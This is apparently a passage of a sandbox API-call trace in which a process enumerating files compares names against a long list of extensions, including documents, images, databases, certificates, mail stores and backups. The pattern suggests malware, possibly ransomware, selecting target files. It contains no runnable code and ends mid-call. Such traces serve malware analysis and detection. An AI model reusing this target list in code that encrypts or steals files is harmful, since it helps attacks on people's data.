lstrlenW (lpString=".ai7") returned 4 [0157.349] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".ai8") returned 4 [0157.350] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".anim") returned 5 [0157.350] lstrcmpiW (lpString1=".anim", lpString2="t.xml") returned -1 [0157.350] lstrlenW (lpString=".arw") returned 4 [0157.350] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".as") returned 3 [0157.350] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0157.350] lstrlenW (lpString=".asa") returned 4 [0157.350] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".asc") returned 4 [0157.350] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".ascx") returned 5 [0157.350] lstrcmpiW (lpString1=".ascx", lpString2="t.xml") returned -1 [0157.350] lstrlenW (lpString=".asm") returned 4 [0157.350] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".asmx") returned 5 [0157.350] lstrcmpiW (lpString1=".asmx", lpString2="t.xml") returned -1 [0157.350] lstrlenW (lpString=".asp") returned 4 [0157.350] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".aspx") returned 5 [0157.350] lstrcmpiW (lpString1=".aspx", lpString2="t.xml") returned -1 [0157.350] lstrlenW (lpString=".asr") returned 4 [0157.350] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".asx") returned 4 [0157.350] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".avi") returned 4 [0157.350] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".avs") returned 4 [0157.350] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0157.350] lstrlenW (lpString=".backup") returned 7 [0157.350] lstrcmpiW (lpString1=".backup", lpString2="ist.xml") returned -1 [0157.350] lstrlenW (lpString=".bak") returned 4 [0157.351] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".bay") returned 4 [0157.351] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".bd") returned 3 [0157.351] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0157.351] lstrlenW (lpString=".bin") returned 4 [0157.351] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".bmp") returned 4 [0157.351] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".bz2") returned 4 [0157.351] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".c") returned 2 [0157.351] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0157.351] lstrlenW (lpString=".cdr") returned 4 [0157.351] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".cer") returned 4 [0157.351] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".cf") returned 3 [0157.351] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0157.351] lstrlenW (lpString=".cfc") returned 4 [0157.351] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".cfm") returned 4 [0157.351] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".cfml") returned 5 [0157.351] lstrcmpiW (lpString1=".cfml", lpString2="t.xml") returned -1 [0157.351] lstrlenW (lpString=".cfu") returned 4 [0157.351] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".chm") returned 4 [0157.351] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".cin") returned 4 [0157.351] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0157.351] lstrlenW (lpString=".class") returned 6 [0157.351] lstrcmpiW (lpString1=".class", lpString2="st.xml") returned -1 [0157.352] lstrlenW (lpString=".clx") returned 4 [0157.352] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".config") returned 7 [0157.352] lstrcmpiW (lpString1=".config", lpString2="ist.xml") returned -1 [0157.352] lstrlenW (lpString=".cpp") returned 4 [0157.352] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".cr2") returned 4 [0157.352] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".crt") returned 4 [0157.352] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".crw") returned 4 [0157.352] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".cs") returned 3 [0157.352] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0157.352] lstrlenW (lpString=".css") returned 4 [0157.352] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".csv") returned 4 [0157.352] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".cub") returned 4 [0157.352] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".dae") returned 4 [0157.352] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".dat") returned 4 [0157.352] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".db") returned 3 [0157.352] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0157.352] lstrlenW (lpString=".dbf") returned 4 [0157.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".dbx") returned 4 [0157.352] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".dc3") returned 4 [0157.352] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0157.352] lstrlenW (lpString=".dcm") returned 4 [0157.352] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dcr") returned 4 [0157.353] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".der") returned 4 [0157.353] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dib") returned 4 [0157.353] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dic") returned 4 [0157.353] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dif") returned 4 [0157.353] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".divx") returned 5 [0157.353] lstrcmpiW (lpString1=".divx", lpString2="t.xml") returned -1 [0157.353] lstrlenW (lpString=".djvu") returned 5 [0157.353] lstrcmpiW (lpString1=".djvu", lpString2="t.xml") returned -1 [0157.353] lstrlenW (lpString=".dng") returned 4 [0157.353] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".doc") returned 4 [0157.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".docm") returned 5 [0157.353] lstrcmpiW (lpString1=".docm", lpString2="t.xml") returned -1 [0157.353] lstrlenW (lpString=".docx") returned 5 [0157.353] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0157.353] lstrlenW (lpString=".dot") returned 4 [0157.353] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dotm") returned 5 [0157.353] lstrcmpiW (lpString1=".dotm", lpString2="t.xml") returned -1 [0157.353] lstrlenW (lpString=".dotx") returned 5 [0157.353] lstrcmpiW (lpString1=".dotx", lpString2="t.xml") returned -1 [0157.353] lstrlenW (lpString=".dpx") returned 4 [0157.353] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dqy") returned 4 [0157.353] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0157.353] lstrlenW (lpString=".dsn") returned 4 [0157.353] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".dt") returned 3 [0157.354] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0157.354] lstrlenW (lpString=".dtd") returned 4 [0157.354] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".dwg") returned 4 [0157.354] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".dwt") returned 4 [0157.354] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".dx") returned 3 [0157.354] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0157.354] lstrlenW (lpString=".dxf") returned 4 [0157.354] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".edml") returned 5 [0157.354] lstrcmpiW (lpString1=".edml", lpString2="t.xml") returned -1 [0157.354] lstrlenW (lpString=".efd") returned 4 [0157.354] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".elf") returned 4 [0157.354] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".emf") returned 4 [0157.354] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".emz") returned 4 [0157.354] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".epf") returned 4 [0157.354] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".eps") returned 4 [0157.354] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".epsf") returned 5 [0157.354] lstrcmpiW (lpString1=".epsf", lpString2="t.xml") returned -1 [0157.354] lstrlenW (lpString=".epsp") returned 5 [0157.354] lstrcmpiW (lpString1=".epsp", lpString2="t.xml") returned -1 [0157.354] lstrlenW (lpString=".erf") returned 4 [0157.354] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0157.354] lstrlenW (lpString=".exr") returned 4 [0157.354] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".f4v") returned 4 [0157.355] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".fido") returned 5 [0157.355] lstrcmpiW (lpString1=".fido", lpString2="t.xml") returned -1 [0157.355] lstrlenW (lpString=".flm") returned 4 [0157.355] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".flv") returned 4 [0157.355] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".frm") returned 4 [0157.355] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".fxg") returned 4 [0157.355] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".geo") returned 4 [0157.355] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".gif") returned 4 [0157.355] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".grs") returned 4 [0157.355] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".gz") returned 3 [0157.355] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0157.355] lstrlenW (lpString=".h") returned 2 [0157.355] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0157.355] lstrlenW (lpString=".hdr") returned 4 [0157.355] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".hpp") returned 4 [0157.355] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".hta") returned 4 [0157.355] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".htc") returned 4 [0157.355] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".htm") returned 4 [0157.355] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0157.355] lstrlenW (lpString=".html") returned 5 [0157.356] lstrcmpiW (lpString1=".html", lpString2="t.xml") returned -1 [0157.356] lstrlenW (lpString=".icb") returned 4 [0157.356] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".ics") returned 4 [0157.356] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".iff") returned 4 [0157.356] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".inc") returned 4 [0157.356] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".indd") returned 5 [0157.356] lstrcmpiW (lpString1=".indd", lpString2="t.xml") returned -1 [0157.356] lstrlenW (lpString=".ini") returned 4 [0157.356] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".iqy") returned 4 [0157.356] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".j2c") returned 4 [0157.356] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".j2k") returned 4 [0157.356] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".java") returned 5 [0157.356] lstrcmpiW (lpString1=".java", lpString2="t.xml") returned -1 [0157.356] lstrlenW (lpString=".jp2") returned 4 [0157.356] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".jpc") returned 4 [0157.356] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0157.356] lstrlenW (lpString=".jpe") returned 4 [0157.357] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".jpeg") returned 5 [0157.357] lstrcmpiW (lpString1=".jpeg", lpString2="t.xml") returned -1 [0157.357] lstrlenW (lpString=".jpf") returned 4 [0157.357] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".jpg") returned 4 [0157.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".jpx") returned 4 [0157.357] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".js") returned 3 [0157.357] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0157.357] lstrlenW (lpString=".jsf") returned 4 [0157.357] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".json") returned 5 [0157.357] lstrcmpiW (lpString1=".json", lpString2="t.xml") returned -1 [0157.357] lstrlenW (lpString=".jsp") returned 4 [0157.357] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".kdc") returned 4 [0157.357] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".kmz") returned 4 [0157.357] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".kwm") returned 4 [0157.357] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".lasso") returned 6 [0157.357] lstrcmpiW (lpString1=".lasso", lpString2="st.xml") returned -1 [0157.357] lstrlenW (lpString=".lbi") returned 4 [0157.357] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".lgf") returned 4 [0157.357] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".lgp") returned 4 [0157.357] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".log") returned 4 [0157.357] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0157.357] lstrlenW (lpString=".m1v") returned 4 [0157.358] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".m4a") returned 4 [0157.358] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".m4v") returned 4 [0157.358] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".max") returned 4 [0157.358] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".md") returned 3 [0157.358] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0157.358] lstrlenW (lpString=".mda") returned 4 [0157.358] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mdb") returned 4 [0157.358] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mde") returned 4 [0157.358] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mdf") returned 4 [0157.358] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mdw") returned 4 [0157.358] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mef") returned 4 [0157.358] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mft") returned 4 [0157.358] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mfw") returned 4 [0157.358] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mht") returned 4 [0157.358] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mhtml") returned 6 [0157.358] lstrcmpiW (lpString1=".mhtml", lpString2="st.xml") returned -1 [0157.358] lstrlenW (lpString=".mka") returned 4 [0157.358] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0157.358] lstrlenW (lpString=".mkidx") returned 6 [0157.358] lstrcmpiW (lpString1=".mkidx", lpString2="st.xml") returned -1 [0157.358] lstrlenW (lpString=".mkv") returned 4 [0157.359] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mos") returned 4 [0157.359] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mov") returned 4 [0157.359] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mp3") returned 4 [0157.359] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mp4") returned 4 [0157.359] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mpeg") returned 5 [0157.359] lstrcmpiW (lpString1=".mpeg", lpString2="t.xml") returned -1 [0157.359] lstrlenW (lpString=".mpg") returned 4 [0157.359] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mpv") returned 4 [0157.359] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mrw") returned 4 [0157.359] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".msg") returned 4 [0157.359] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".mxl") returned 4 [0157.359] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".myd") returned 4 [0157.359] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".myi") returned 4 [0157.359] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".nef") returned 4 [0157.359] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".nrw") returned 4 [0157.359] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".obj") returned 4 [0157.359] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0157.359] lstrlenW (lpString=".odb") returned 4 [0157.359] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".odc") returned 4 [0157.360] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".odm") returned 4 [0157.360] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".odp") returned 4 [0157.360] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".ods") returned 4 [0157.360] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".oft") returned 4 [0157.360] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".one") returned 4 [0157.360] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".onepkg") returned 7 [0157.360] lstrcmpiW (lpString1=".onepkg", lpString2="ist.xml") returned -1 [0157.360] lstrlenW (lpString=".onetoc2") returned 8 [0157.360] lstrcmpiW (lpString1=".onetoc2", lpString2="List.xml") returned -1 [0157.360] lstrlenW (lpString=".opt") returned 4 [0157.360] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".oqy") returned 4 [0157.360] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".orf") returned 4 [0157.360] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".p12") returned 4 [0157.360] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".p7b") returned 4 [0157.360] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".p7c") returned 4 [0157.360] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".pam") returned 4 [0157.360] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".pbm") returned 4 [0157.360] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0157.360] lstrlenW (lpString=".pct") returned 4 [0157.360] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pcx") returned 4 [0157.361] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pdd") returned 4 [0157.361] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pdf") returned 4 [0157.361] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pdp") returned 4 [0157.361] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pef") returned 4 [0157.361] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pem") returned 4 [0157.361] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pff") returned 4 [0157.361] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pfm") returned 4 [0157.361] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pfx") returned 4 [0157.361] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".pgm") returned 4 [0157.361] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".php") returned 4 [0157.361] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0157.361] lstrlenW (lpString=".php3") returned 5 [0157.361] lstrcmpiW (lpString1=".php3", lpString2="t.xml") returned -1 [0157.361] lstrlenW (lpString=".php4") returned 5 [0157.361] lstrcmpiW (lpString1=".php4", lpString2="t.xml") returned -1 [0157.361] lstrlenW (lpString=".php5") returned 5 [0157.361] lstrcmpiW (lpString1=".php5", lpString2="t.xml") returned -1 [0157.361] lstrlenW (lpString=".phtml") returned 6 [0157.361] lstrcmpiW (lpString1=".phtml", lpString2="st.xml") returned -1 [0157.361] lstrlenW (lpString=".pict") returned 5 [0157.362] lstrcmpiW (lpString1=".pict", lpString2="t.xml") returned -1 [0157.362] lstrlenW (lpString=".pl") returned 3 [0157.362] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0157.362] lstrlenW (lpString=".pls") returned 4 [0157.362] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".pm") returned 3 [0157.362] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0157.362] lstrlenW (lpString=".png") returned 4 [0157.362] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".pnm") returned 4 [0157.362] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".pot") returned 4 [0157.362] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".potm") returned 5 [0157.362] lstrcmpiW (lpString1=".potm", lpString2="t.xml") returned -1 [0157.362] lstrlenW (lpString=".potx") returned 5 [0157.362] lstrcmpiW (lpString1=".potx", lpString2="t.xml") returned -1 [0157.362] lstrlenW (lpString=".ppa") returned 4 [0157.362] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".ppam") returned 5 [0157.362] lstrcmpiW (lpString1=".ppam", lpString2="t.xml") returned -1 [0157.362] lstrlenW (lpString=".ppm") returned 4 [0157.362] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".pps") returned 4 [0157.362] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".ppsm") returned 5 [0157.362] lstrcmpiW (lpString1=".ppsm", lpString2="t.xml") returned -1 [0157.362] lstrlenW (lpString=".ppt") returned 4 [0157.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0157.362] lstrlenW (lpString=".pptm") returned 5 [0157.362] lstrcmpiW (lpString1=".pptm", lpString2="t.xml") returned -1 [0157.362] lstrlenW (lpString=".pptx") returned 5 [0157.363] lstrcmpiW (lpString1=".pptx", lpString2="t.xml") returned -1 [0157.363] lstrlenW (lpString=".prn") returned 4 [0157.363] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0157.363] lstrlenW (lpString=".ps") returned 3 [0157.363] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0157.363] lstrlenW (lpString=".psb") returned 4 [0157.363] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0157.363] lstrlenW (lpString=".psd") returned 4 [0157.363] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0157.363] lstrlenW (lpString=".pst") returned 4 [0157.363] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0157.363] lstrlenW (lpString=".ptx") returned 4 [0157.374] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".pub") returned 4 [0157.374] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".pwm") returned 4 [0157.374] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".pxr") returned 4 [0157.374] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".py") returned 3 [0157.374] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0157.374] lstrlenW (lpString=".qt") returned 3 [0157.374] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0157.374] lstrlenW (lpString=".r3d") returned 4 [0157.374] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".raf") returned 4 [0157.374] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".rar") returned 4 [0157.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0157.374] lstrlenW (lpString=".raw") returned 4 [0157.374] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0157.374] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.375] FindNextFileW (in: hFindFile=0x4191780, 